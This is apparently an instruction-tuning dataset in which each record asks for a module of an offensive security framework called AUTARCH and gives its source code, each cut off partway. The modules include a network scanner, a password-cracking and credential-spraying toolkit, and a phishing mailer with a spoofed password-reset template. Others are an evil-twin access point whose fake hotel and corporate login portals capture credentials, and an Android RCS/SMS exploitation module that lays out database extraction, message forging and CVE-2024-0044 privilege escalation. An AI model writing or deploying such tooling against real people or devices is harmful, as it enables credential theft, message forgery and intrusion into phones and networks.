network.\n\n target: IP, CIDR (192.168.1.0/24), or range (192.168.1.1-254)\n method: 'arp', 'icmp', 'tcp', 'nmap', 'auto'\n \"\"\"\n job_id = f'discover_{int(time.time())}'\n holder = {'done': False, 'hosts': [], 'error': None}\n self._active_jobs[job_id] = holder\n\n def do_discover():\n try:\n nmap = find_tool('nmap')\n if method == 'nmap' or (method == 'auto' and nmap):\n hosts = self._nmap_discover(target, nmap, timeout)\n elif method == 'icmp' or method == 'auto':\n hosts = self._ping_sweep(target, timeout)\n elif method == 'tcp':\n hosts = self._tcp_discover(target, timeout)\n else:\n hosts = self._ping_sweep(target, timeout)\n holder['hosts'] = [h.to_dict() for h in hosts]\n except Exception as e:\n holder['error'] = str(e)\n finally:\n holder['done'] = True\n\n threading.Thread(target=do_discover, daemon=True).start()\n return {'ok': True, 'job_id': job_id}\n\n def _nmap_discover(self, target: str, nmap: str, timeout: float) -> List[Host]:\n \"\"\"Discover hosts using nmap.\"\"\"\n cmd = [nmap, '-sn', '-PE', '-PA21,22,80,443,445,3389', '-oX', '-', target]\n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)\n return self._parse_nmap_xml(result.stdout)\n except Exception:\n return []\n\n def _ping_sweep(self, target: str, timeout: float) -> List[Host]:\n \"\"\"ICMP ping sweep.\"\"\"\n ips = self._expand_target(target)\n hosts = []\n lock = threading.Lock()\n\n def ping(ip):\n try
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'utility' category that test network speed and connectivity. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: nettest\nCategory: utility\nDescription: Test network speed and connectivity", "output": "\"\"\"\nAUTARCH Network Test Module\nTest network speed and connectivity\n\"\"\"\n\nimport sys\nimport time\nfrom pathlib import Path\n\n# Add parent directory to path for imports\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.banner import Colors\n\n# Module metadata\nNAME = \"Network Test\"\nDESCRIPTION = \"Test network speed and connectivity\"\nAUTHOR = \"darkHal Security Group\"\nVERSION = \"1.0\"\nCATEGORY = \"utility\"\n\n# Try to import optional dependencies\ntry:\n import speedtest\n HAS_SPEEDTEST = True\nexcept ImportError:\n HAS_SPEEDTEST = False\n\ntry:\n import requests\n HAS_REQUESTS = True\nexcept ImportError:\n HAS_REQUESTS = False\n\n\nclass NetworkTester:\n \"\"\"Network testing utility.\"\"\"\n\n def __init__(self):\n self.test_urls = [\n (\"Google\", \"https://www.google.com\"),\n (\"Cloudflare\", \"https://1.1.1.1\"),\n (\"GitHub\", \"https://github.com\"),\n (\"Amazon\", \"https://aws.amazon.com\"),\n ]\n\n def test_connectivity(self) -> dict:\n \"\"\"Test basic internet connectivity.\n\n Returns:\n Dict with connectivity results.\n \"\"\"\n if not HAS_REQUESTS:\n return {'error': 'requests library not available'}\n\n print(f\"{Colors.CYAN}[*] Testing connectivity...{Colors.RESET}\")\n\n results = {\n 'tests': [],\n 'success_count': 0,\n 'fail_count': 0,\n }\n\n for name, url in self.test_urls:\n try:\n start = time.time()\n response = requests.get(url, timeout=10)\n elapsed = round((time.time() - start) * 1000)\n\n success = response.status_code == 200\n results['tests'].append({\n 'name': name,\n 'url': url,\n 'success': success,\n 'status': response.status_code,\n 'time_ms': elapsed,\n })\n\n if success:\n results['success_count'] += 1\n print(f\" {Colors.GREEN}[+]{Colors.RESET} {name}: {elapsed}ms\")\n else:\n results['fail_count'] += 1\n print(f\" {Colors.RED}[-]{Colors.RESET} {name}: HTTP {response.status_code}\")\n\n except requests.exceptions.Timeout:\n results['fail_count'] += 1\n results['tests'].append({\n 'name': name,\n 'url': url,\n 'success': False,\n 'error': 'Timeout',\n })\n print(f\" {Colors.RED}[-]{Colors.RESET} {name}: Timeout\")\n\n except requests.exceptions.ConnectionError:\n results['fail_count'] += 1\n results['tests'].append({\n 'name': name,\n 'url': url,\n 'success': False,\n 'error': 'Connection failed',\n })\n print(f\" {Colors.RED}[-]{Colors.RESET} {name}: Connection failed\")\n\n except Exception as e:\n results['fail_count'] += 1\n results['tests'].append({\n 'name': name,\n 'url': url,\n 'success': False,\n 'error': str(e),\n })\n print(f\" {Colors.RED}[-]{Colors.RESET} {name}: {str(e)}\")\n\n return results\n\n def test_speed(self) -> dict:\n \"\"\"Test network speed using speedtest.\n\n Returns:\n Dict with speed test results.\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that password cracking & credential testing. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: password_toolkit\nCategory: analyze\nDescription: Password cracking & credential testing", "output": "\"\"\"AUTARCH Password Toolkit\n\nHash identification, cracking (hashcat/john integration), password generation,\ncredential spray/stuff testing, wordlist management, and password policy auditing.\n\"\"\"\n\nDESCRIPTION = \"Password cracking & credential testing\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport string\nimport secrets\nimport hashlib\nimport threading\nimport subprocess\nfrom pathlib import Path\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Optional, Any, Tuple\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n import shutil\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Hash Type Signatures ──────────────────────────────────────────────────────\n\n@dataclass\nclass HashSignature:\n name: str\n regex: str\n hashcat_mode: int\n john_format: str\n example: str\n bits: int = 0\n\n\nHASH_SIGNATURES: List[HashSignature] = [\n HashSignature('MD5', r'^[a-fA-F0-9]{32}$', 0, 'raw-md5', 'd41d8cd98f00b204e9800998ecf8427e', 128),\n HashSignature('SHA-1', r'^[a-fA-F0-9]{40}$', 100, 'raw-sha1', 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 160),\n HashSignature('SHA-224', r'^[a-fA-F0-9]{56}$', 1300, 'raw-sha224', 'd14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f', 224),\n HashSignature('SHA-256', r'^[a-fA-F0-9]{64}$', 1400, 'raw-sha256', 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 256),\n HashSignature('SHA-384', r'^[a-fA-F0-9]{96}$', 10800,'raw-sha384', '38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b', 384),\n HashSignature('SHA-512', r'^[a-fA-F0-9]{128}$', 1700, 'raw-sha512', 'cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e', 512),\n HashSignature('NTLM', r'^[a-fA-F0-9]{32}$', 1000, 'nt', '31d6cfe0d16ae931b73c59d7e0c089c0', 128),\n HashSignature('LM', r'^[a-fA-F0-9]{32}$', 3000, 'lm', 'aad3b435b51404eeaad3b435b51404ee', 128),\n HashSignature('bcrypt', r'^\\$2[aby]?\\$\\d{1,2}\\$[./A-Za-z0-9]{53}$', 3200, 'bcrypt', '$2b$12$LJ3m4ys3Lg2VBe5F.4oXzuLKmRPBRWvs5fS5K.zL1E8CfJzqS/VfO', 0),\n HashSignature('scrypt', r'^\\$7\\$', 8900, 'scrypt', '', 0),\n HashSignature('Argon2', r'^\\$argon2(i|d|id)\\$', 0, 'argon2', '', 0),\n HashSignature('MySQL 4.1+', r'^\\*[a-fA-F0-9]{40}$', 300, 'mysql-sha1', '*6C8989366EAF6BCBBAA855D6DA93DE65C96D33D9', 160),\n HashSignature('SHA-512 Crypt', r'^\\$6\\$[./A-Za-z0-9]+\\$[./A-Za-z0-9]{86}$', 1800, 'sha512crypt', '', 0),\n HashSignature('SHA-256 Crypt', r'^\\$5\\$[./A-Za-z0-9]+\\$[./A-Za-z0-9]{43}$', 7400, 'sha256crypt', '', 0),\n HashSignature('MD5 Crypt', r'^\\$1\\$[./A-Za-z0-9]+\\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0),\n HashSignature('DES Crypt', r'^[./A-Za-z0-9]{13}$', 1500, 'descrypt', '', 0),\n HashSignature('APR1 MD5', r'^\\$apr1\\$', 1600, 'md5apr1', '', 0),\n HashSignature('Cisco Type 5', r'^\\$
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that gone fishing mail service — local network phishing simulator. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: phishmail\nCategory: offense\nDescription: Gone Fishing Mail Service — local network phishing simulator", "output": "\"\"\"Gone Fishing Mail Service — Local network phishing simulator.\n\nCombines features from GoPhish, King Phisher, SET, and Swaks:\nsender spoofing, self-signed TLS certs, HTML templates, tracking pixels,\ncampaign management, attachment support.\n\nHard-wired to reject delivery to non-RFC1918 addresses.\n\"\"\"\n\nDESCRIPTION = \"Gone Fishing Mail Service — local network phishing simulator\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport json\nimport time\nimport uuid\nimport socket\nimport smtplib\nimport threading\nimport subprocess\nimport ipaddress\nfrom pathlib import Path\nfrom datetime import datetime\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── RFC1918 networks for local-only enforcement ─────────────────────────────\n_LOCAL_NETS = [\n ipaddress.ip_network('10.0.0.0/8'),\n ipaddress.ip_network('172.16.0.0/12'),\n ipaddress.ip_network('192.168.0.0/16'),\n ipaddress.ip_network('127.0.0.0/8'),\n ipaddress.ip_network('::1/128'),\n ipaddress.ip_network('fe80::/10'),\n]\n\n\ndef _is_local_ip(ip_str: str) -> bool:\n \"\"\"Check if an IP address is in RFC1918/loopback range.\"\"\"\n try:\n addr = ipaddress.ip_address(ip_str)\n return any(addr in net for net in _LOCAL_NETS)\n except ValueError:\n return False\n\n\ndef _validate_local_only(address: str) -> tuple:\n \"\"\"Validate that a recipient's mail server resolves to a local IP.\n\n Returns (ok: bool, message: str).\n \"\"\"\n # Extract domain from email\n if '@' not in address:\n # Treat as hostname/IP directly\n domain = address\n else:\n domain = address.split('@')[1]\n\n # Direct IP check\n try:\n addr = ipaddress.ip_address(domain)\n if _is_local_ip(str(addr)):\n return True, f\"Direct IP {domain} is local\"\n return False, f\"BLOCKED: {domain} is not a local network address\"\n except ValueError:\n pass\n\n # DNS resolution\n try:\n results = socket.getaddrinfo(domain, 25, socket.AF_UNSPEC, socket.SOCK_STREAM)\n for family, stype, proto, canonname, sockaddr in results:\n ip = sockaddr[0]\n if _is_local_ip(ip):\n return True, f\"{domain} resolves to local IP {ip}\"\n # Try MX records via simple DNS\n ips_found = [sockaddr[0] for _, _, _, _, sockaddr in results]\n return False, f\"BLOCKED: {domain} resolves to external IPs: {', '.join(ips_found)}\"\n except socket.gaierror:\n return False, f\"BLOCKED: Cannot resolve {domain}\"\n\n\n# ── Template Manager ─────────────────────────────────────────────────────────\n\n_BUILTIN_TEMPLATES = {\n \"Password Reset\": {\n \"subject\": \"Action Required: Password Reset\",\n \"html\": \"\"\"<div style=\"font-family:Arial,sans-serif;max-width:600px;margin:0 auto;padding:20px\">\n<div style=\"background:#1a73e8;color:#fff;padding:15px 20px;border-radius:8px 8px 0 0\">\n<h2 style=\"margin:0\">Security Alert</h2></div>\n<div style=\"background:#f8f9fa;padding:20px;border:1px solid #ddd;border-top:none;border-radius:0 0 8px 8px\">\n<p>Dear {{name}},</p>\n<
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that rogue ap — evil twin, captive portal, karma attacks. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: pineapple\nCategory: offense\nDescription: Rogue AP — evil twin, captive portal, karma attacks", "output": "\"\"\"AUTARCH WiFi Pineapple / Rogue AP\n\nEvil twin AP, captive portal, karma attack, client MITM,\nDNS spoofing, and credential capture for wireless assessments.\nDesigned for Raspberry Pi and SBCs with dual WiFi or WiFi + Ethernet.\n\"\"\"\n\nDESCRIPTION = \"Rogue AP — evil twin, captive portal, karma attacks\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport shutil\nimport signal\nimport threading\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Captive Portal HTML Templates ────────────────────────────────────────────\n\nCAPTIVE_PORTAL_TEMPLATES = {\n 'hotel_wifi': '''<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0\">\n<title>Hotel WiFi — Guest Portal</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:linear-gradient(135deg,#1a1a2e,#16213e);color:#e0e0e0;min-height:100vh;display:flex;align-items:center;justify-content:center}\n.portal{background:#1e2a3a;border-radius:12px;padding:40px;max-width:420px;width:90%;box-shadow:0 20px 60px rgba(0,0,0,0.5)}\nh1{font-size:1.5rem;margin-bottom:8px;color:#f0f0f0}\n.subtitle{color:#8899aa;font-size:0.85rem;margin-bottom:24px;display:block}\nlabel{display:block;font-size:0.85rem;color:#99aabb;margin-bottom:4px;margin-top:12px}\ninput{width:100%;padding:10px 14px;border:1px solid #334455;border-radius:6px;background:#0f1923;color:#e0e0e0;font-size:0.95rem}\ninput:focus{outline:none;border-color:#4a9eff}\n.btn{width:100%;padding:12px;background:#4a9eff;color:#fff;border:none;border-radius:6px;font-size:1rem;cursor:pointer;margin-top:20px;font-weight:600}\n.btn:hover{background:#3a8eef}\n.footer{text-align:center;margin-top:16px;font-size:0.75rem;color:#556677}\n</style>\n</head>\n<body>\n<div class=\"portal\">\n<h1>Welcome to Our Hotel</h1>\n<span class=\"subtitle\">Enter your room details to connect to the internet.</span>\n<form method=\"POST\" action=\"/portal/capture\">\n<label>Room Number</label>\n<input type=\"text\" name=\"username\" placeholder=\"e.g. 412\" required>\n<label>Last Name</label>\n<input type=\"text\" name=\"password\" placeholder=\"Guest last name\" required>\n<label>Email Address</label>\n<input type=\"email\" name=\"email\" placeholder=\"email@example.com\">\n<button type=\"submit\" class=\"btn\">Connect to WiFi</button>\n</form>\n<div class=\"footer\">By connecting you agree to our Terms of Service and Acceptable Use Policy.</div>\n</div>\n</body>\n</html>''',\n\n 'corporate': '''<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0\">\n<title>Corporate Network — Authentication</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#0c1117;color:#c9d1d9;min-height:100vh;display:flex;align-items:center;justify-content:center}\n.portal{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:36px;max-width:400px;width:90%;box-shadow:0 8px 24px rgba(0,0,0,0.4)}\n.logo{text-align:center;margin-bottom:20px;font-size:1.8rem;
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that rcs/sms exploitation — database extraction, forging, backup & spoofing. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: rcs_tools\nCategory: offense\nDescription: RCS/SMS Exploitation — Database extraction, forging, backup & spoofing", "output": "\"\"\"AUTARCH RCS/SMS Exploitation v2.0\n\nComprehensive RCS/SMS message extraction, forging, modification, and exploitation\non connected Android devices via ADB content provider commands, Shizuku shell\naccess, CVE-2024-0044 privilege escalation, AOSP RCS provider queries, and\nArchon app integration.\n\nAll operations execute on the target phone — nothing runs locally except\ncommand dispatch and output parsing.\n\nIMPORTANT: The bugle_db (Google Messages RCS database) is encrypted at rest.\nThe database uses SQLCipher or Android's encrypted SQLite APIs. To read it\nafter extraction, you must ALSO extract the encryption key. Key locations:\n - shared_prefs/ XML files (key material or key alias)\n - Android Keystore (hardware-backed master key — requires app-UID or root)\n - /data/data/com.google.android.apps.messaging/files/ (session keys, config)\nSamsung devices add an additional proprietary encryption layer.\n\nExploitation paths (in order of preference):\n 1. Content providers (UID 2000 / shell — no root needed, SMS/MMS only)\n 2. Archon app relay (READ_SMS + Shizuku → query via app context, bypasses encryption)\n 3. CVE-2024-0044 (Android 12-13 pre-Oct 2024 — full app-UID access, can read decrypted DB)\n 4. ADB backup (deprecated on Android 12+ but works on some devices)\n 5. Root (if available — can extract DB + keys)\n\"\"\"\n\nDESCRIPTION = \"RCS/SMS Exploitation — Database extraction, forging, backup & spoofing\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"2.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport csv\nimport json\nimport time\nimport shlex\nimport struct\nimport sqlite3\nimport subprocess\nimport threading\nimport zlib\nfrom io import StringIO\nfrom pathlib import Path\nfrom datetime import datetime, timezone, timedelta\nfrom typing import Dict, List, Optional, Any, Tuple\nfrom xml.etree import ElementTree as ET\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n import shutil as _sh\n\n def find_tool(name):\n return _sh.which(name)\n\n def get_data_dir():\n return Path(__file__).resolve().parent.parent / 'data'\n\n\n# ── Module-level singleton ──────────────────────────────────────────────────\n\n_instance: Optional['RCSTools'] = None\n\n\ndef get_rcs_tools() -> 'RCSTools':\n global _instance\n if _instance is None:\n _instance = RCSTools()\n return _instance\n\n\n# ── Constants ────────────────────────────────────────────────────────────────\n\n# Standard Android telephony content providers (accessible at UID 2000)\nSMS_URI = 'content://sms/'\nSMS_INBOX_URI = 'content://sms/inbox'\nSMS_SENT_URI = 'content://sms/sent'\nSMS_DRAFT_URI = 'content://sms/draft'\nSMS_OUTBOX_URI = 'content://sms/outbox'\nMMS_URI = 'content://mms/'\nMMS_INBOX_URI = 'content://mms/inbox'\nMMS_SENT_URI = 'content://mms/sent'\nMMS_PART_URI = 'content://mms/part'\nMMS_SMS_CONVERSATIONS_URI = 'content://mms-sms/conversations'\nMMS_SMS_DRAFT_URI = 'content://mms-sms/draft'\nMMS_SMS_UNDELIVERED_URI = 'content://mms-sms/undelivered'\nMMS_SMS_LOCKED_URI = 'content://mms-sms/locked'\n\n# AOSP RCS content provider (authority: \"rcs\")\nRCS_THREAD_URI = 'content://rcs/thread'\nRCS_P2P_THREAD_URI = 'content://rcs/p2p_thread'\nRCS_GROUP_THREAD_URI = 'content://rcs/group_thread'\nRCS_PARTICIPANT_URI = 'content://rcs/participant'\nRCS_MESSAGE_URI_FMT = 'content://rcs/p2p_thread/{thread
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that osint & reconnaissance tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: recon\nCategory: osint\nDescription: OSINT & reconnaissance tools", "output": "\"\"\"\nAUTARCH Recon Module\nOpen Source Intelligence (OSINT) gathering\n\nDomain, IP, email, username, and phone reconnaissance tools.\nIntegrates with social-analyzer for social media analysis.\nUses unified sites database from sherlock, maigret, and social-analyzer.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport socket\nimport re\nimport json\nimport time\nimport concurrent.futures\nimport urllib.request\nfrom pathlib import Path\nfrom urllib.parse import urlparse, quote\nfrom typing import List, Dict, Optional, Tuple\nfrom random import randint\nfrom datetime import datetime\n\n# Module metadata\nDESCRIPTION = \"OSINT & reconnaissance tools\"\nAUTHOR = \"darkHal\"\nVERSION = \"2.3\"\nCATEGORY = \"osint\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.sites_db import get_sites_db\nfrom core.report_generator import get_report_generator\nfrom core.config import get_config\n\n\nclass Recon:\n \"\"\"OSINT and reconnaissance tools.\"\"\"\n\n def __init__(self):\n self.social_analyzer_available = self._check_social_analyzer()\n self.sites_db = get_sites_db()\n self.config = get_config()\n osint_settings = self.config.get_osint_settings()\n self.scan_config = {\n 'max_sites': 200,\n 'include_nsfw': osint_settings['include_nsfw'],\n 'categories': None, # None = all categories\n 'timeout': osint_settings['timeout'],\n 'threads': osint_settings['max_threads'],\n }\n\n def _check_social_analyzer(self) -> bool:\n \"\"\"Check if social-analyzer is installed.\"\"\"\n try:\n result = subprocess.run(\n \"social-analyzer --help\",\n shell=True,\n capture_output=True,\n timeout=5\n )\n return result.returncode == 0\n except:\n return False\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def run_cmd(self, cmd: str, timeout: int = 30) -> tuple:\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except:\n return False, \"\"\n\n # ==================== EMAIL OSINT ====================\n\n def email_lookup(self):\n \"\"\"Email address OSINT.\"\"\"\n print(f\"\\n{Colors.BOLD}Email OSINT{Colors.RESET}\")\n email = input(f\"{Colors.WHITE}Enter email address: {Colors.RESET}\").strip()\n\n if not email or '@' not in email:\n self.print_status(\"Invalid email address\", \"error\")\n return\n\n username, domain = email.split('@')\n\n print(f\"\\n{Colors.CYAN}{'─' * 50}{Colors.RESET}\")\n print(f\"{Colors.BOLD}Target: {email}{Colors.RESET}\")\n print(f\"{Colors.CYAN}{'─' * 50}{Colors.RESET}\\n\")\n\n # Email format analysis\n print(f\"{Colors.CYAN}Email Analysis:{Colors.RESET}\")\n print(f\" Username: {username}\")\n print(f\" Domain: {domain}\")\n\n # Check if domain has MX records\n success, output = self.run_cmd(f\"dig +short MX {domain}\")\n if success and output:\n print(f\" Mail Svr: {output.split()[1] if len(output.split()) > 1 else output}
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that pentest report builder & exporter. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: report_engine\nCategory: analyze\nDescription: Pentest report builder & exporter", "output": "\"\"\"AUTARCH Reporting Engine\n\nStructured pentest report builder with findings, CVSS scoring, evidence,\nand export to HTML/Markdown/JSON.\n\"\"\"\n\nDESCRIPTION = \"Pentest report builder & exporter\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport json\nimport time\nimport uuid\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\nfrom dataclasses import dataclass, field, asdict\nimport threading\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Finding Severity & CVSS ──────────────────────────────────────────────────\n\nSEVERITY_MAP = {\n 'critical': {'color': '#dc2626', 'score_range': '9.0-10.0', 'order': 0},\n 'high': {'color': '#ef4444', 'score_range': '7.0-8.9', 'order': 1},\n 'medium': {'color': '#f59e0b', 'score_range': '4.0-6.9', 'order': 2},\n 'low': {'color': '#22c55e', 'score_range': '0.1-3.9', 'order': 3},\n 'info': {'color': '#6366f1', 'score_range': '0.0', 'order': 4},\n}\n\nFINDING_TEMPLATES = [\n {\n 'id': 'sqli',\n 'title': 'SQL Injection',\n 'severity': 'critical',\n 'cvss': 9.8,\n 'description': 'The application is vulnerable to SQL injection, allowing an attacker to manipulate database queries.',\n 'impact': 'Complete database compromise, data exfiltration, authentication bypass, potential remote code execution.',\n 'remediation': 'Use parameterized queries/prepared statements. Implement input validation and WAF rules.',\n 'references': ['OWASP Top 10: A03:2021', 'CWE-89'],\n },\n {\n 'id': 'xss',\n 'title': 'Cross-Site Scripting (XSS)',\n 'severity': 'high',\n 'cvss': 7.5,\n 'description': 'The application reflects user input without proper sanitization, enabling script injection.',\n 'impact': 'Session hijacking, credential theft, defacement, malware distribution.',\n 'remediation': 'Encode all output, implement Content-Security-Policy, use framework auto-escaping.',\n 'references': ['OWASP Top 10: A03:2021', 'CWE-79'],\n },\n {\n 'id': 'broken_auth',\n 'title': 'Broken Authentication',\n 'severity': 'critical',\n 'cvss': 9.1,\n 'description': 'Authentication mechanisms can be bypassed or abused to gain unauthorized access.',\n 'impact': 'Account takeover, privilege escalation, unauthorized data access.',\n 'remediation': 'Implement MFA, rate limiting, secure session management, strong password policies.',\n 'references': ['OWASP Top 10: A07:2021', 'CWE-287'],\n },\n {\n 'id': 'idor',\n 'title': 'Insecure Direct Object Reference (IDOR)',\n 'severity': 'high',\n 'cvss': 7.5,\n 'description': 'The application exposes internal object references that can be manipulated to access unauthorized resources.',\n 'impact': 'Unauthorized access to other users\\' data, horizontal privilege escalation.',\n 'remediation': 'Implement proper access control checks, use indirect references.',\n 'references': ['OWASP Top 10: A01:2021', 'CWE-639'],\n },\n {\n 'id': 'missing_headers',\n 'title': 'Missing Security Headers',\n 'severity': 'low',\n 'cvss': 3.1,\n 'description': 'The application does not implement recommended security headers.',\n 'impact': 'Increased attack surface for clickjacking, MIME sniffing, and XSS attack
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that binary analysis, disassembly & reverse engineering. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: reverse_eng\nCategory: analyze\nDescription: Binary analysis, disassembly & reverse engineering", "output": "\"\"\"AUTARCH Reverse Engineering Toolkit\n\nBinary analysis, PE/ELF parsing, disassembly, YARA scanning,\nhex viewing, packer detection, and Ghidra headless integration.\n\"\"\"\n\nDESCRIPTION = \"Binary analysis, disassembly & reverse engineering\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport sys\nimport re\nimport math\nimport json\nimport struct\nimport hashlib\nimport subprocess\nimport tempfile\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Any, Tuple\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\ntry:\n from core.paths import get_data_dir, find_tool\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n def find_tool(name, extra_paths=None):\n import shutil\n return shutil.which(name)\n\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n CYAN = BOLD = GREEN = YELLOW = RED = WHITE = DIM = RESET = \"\"\n def clear_screen(): pass\n def display_banner(): pass\n\n# Optional: capstone disassembler\ntry:\n import capstone\n HAS_CAPSTONE = True\nexcept ImportError:\n HAS_CAPSTONE = False\n\n# Optional: yara-python\ntry:\n import yara\n HAS_YARA = True\nexcept ImportError:\n HAS_YARA = False\n\n\n# ── Magic Bytes ──────────────────────────────────────────────────────────────\n\nMAGIC_BYTES = {\n b'\\x4d\\x5a': 'PE',\n b'\\x7fELF': 'ELF',\n b'\\xfe\\xed\\xfa\\xce': 'Mach-O (32-bit)',\n b'\\xfe\\xed\\xfa\\xcf': 'Mach-O (64-bit)',\n b'\\xce\\xfa\\xed\\xfe': 'Mach-O (32-bit, reversed)',\n b'\\xcf\\xfa\\xed\\xfe': 'Mach-O (64-bit, reversed)',\n b'\\xca\\xfe\\xba\\xbe': 'Mach-O (Universal)',\n b'\\x50\\x4b\\x03\\x04': 'ZIP/JAR/APK/DOCX',\n b'\\x50\\x4b\\x05\\x06': 'ZIP (empty)',\n b'\\x25\\x50\\x44\\x46': 'PDF',\n b'\\xd0\\xcf\\x11\\xe0': 'OLE2 (DOC/XLS/PPT)',\n b'\\x89\\x50\\x4e\\x47': 'PNG',\n b'\\xff\\xd8\\xff': 'JPEG',\n b'\\x47\\x49\\x46\\x38': 'GIF',\n b'\\x1f\\x8b': 'GZIP',\n b'\\x42\\x5a\\x68': 'BZIP2',\n b'\\xfd\\x37\\x7a\\x58': 'XZ',\n b'\\x37\\x7a\\xbc\\xaf': '7-Zip',\n b'\\x52\\x61\\x72\\x21': 'RAR',\n b'\\xca\\xfe\\xba\\xbe': 'Java Class / Mach-O Universal',\n b'\\x7f\\x45\\x4c\\x46': 'ELF',\n b'\\x23\\x21': 'Script (shebang)',\n b'\\x00\\x61\\x73\\x6d': 'WebAssembly',\n b'\\xed\\xab\\xee\\xdb': 'RPM',\n b'\\x21\\x3c\\x61\\x72': 'Debian/AR archive',\n}\n\n\n# ── Packer Signatures ───────────────────────────────────────────────────────\n\nPACKER_SIGNATURES = {\n 'UPX': {\n 'section_names': [b'UPX0', b'UPX1', b'UPX2', b'UPX!'],\n 'magic': [b'UPX!', b'UPX0', b'\\x55\\x50\\x58'],\n 'description': 'Ultimate Packer for Executables',\n },\n 'Themida': {\n 'section_names': [b'.themida', b'.winlice'],\n 'magic': [],\n 'description': 'Themida / WinLicense protector',\n },\n 'ASPack': {\n 'section_names': [b'.aspack', b'.adata'],\n 'magic': [b'\\x60\\xe8\\x00\\x00\\x00\\x00\\x5d\\x81\\xed'],\n 'description': 'ASPack 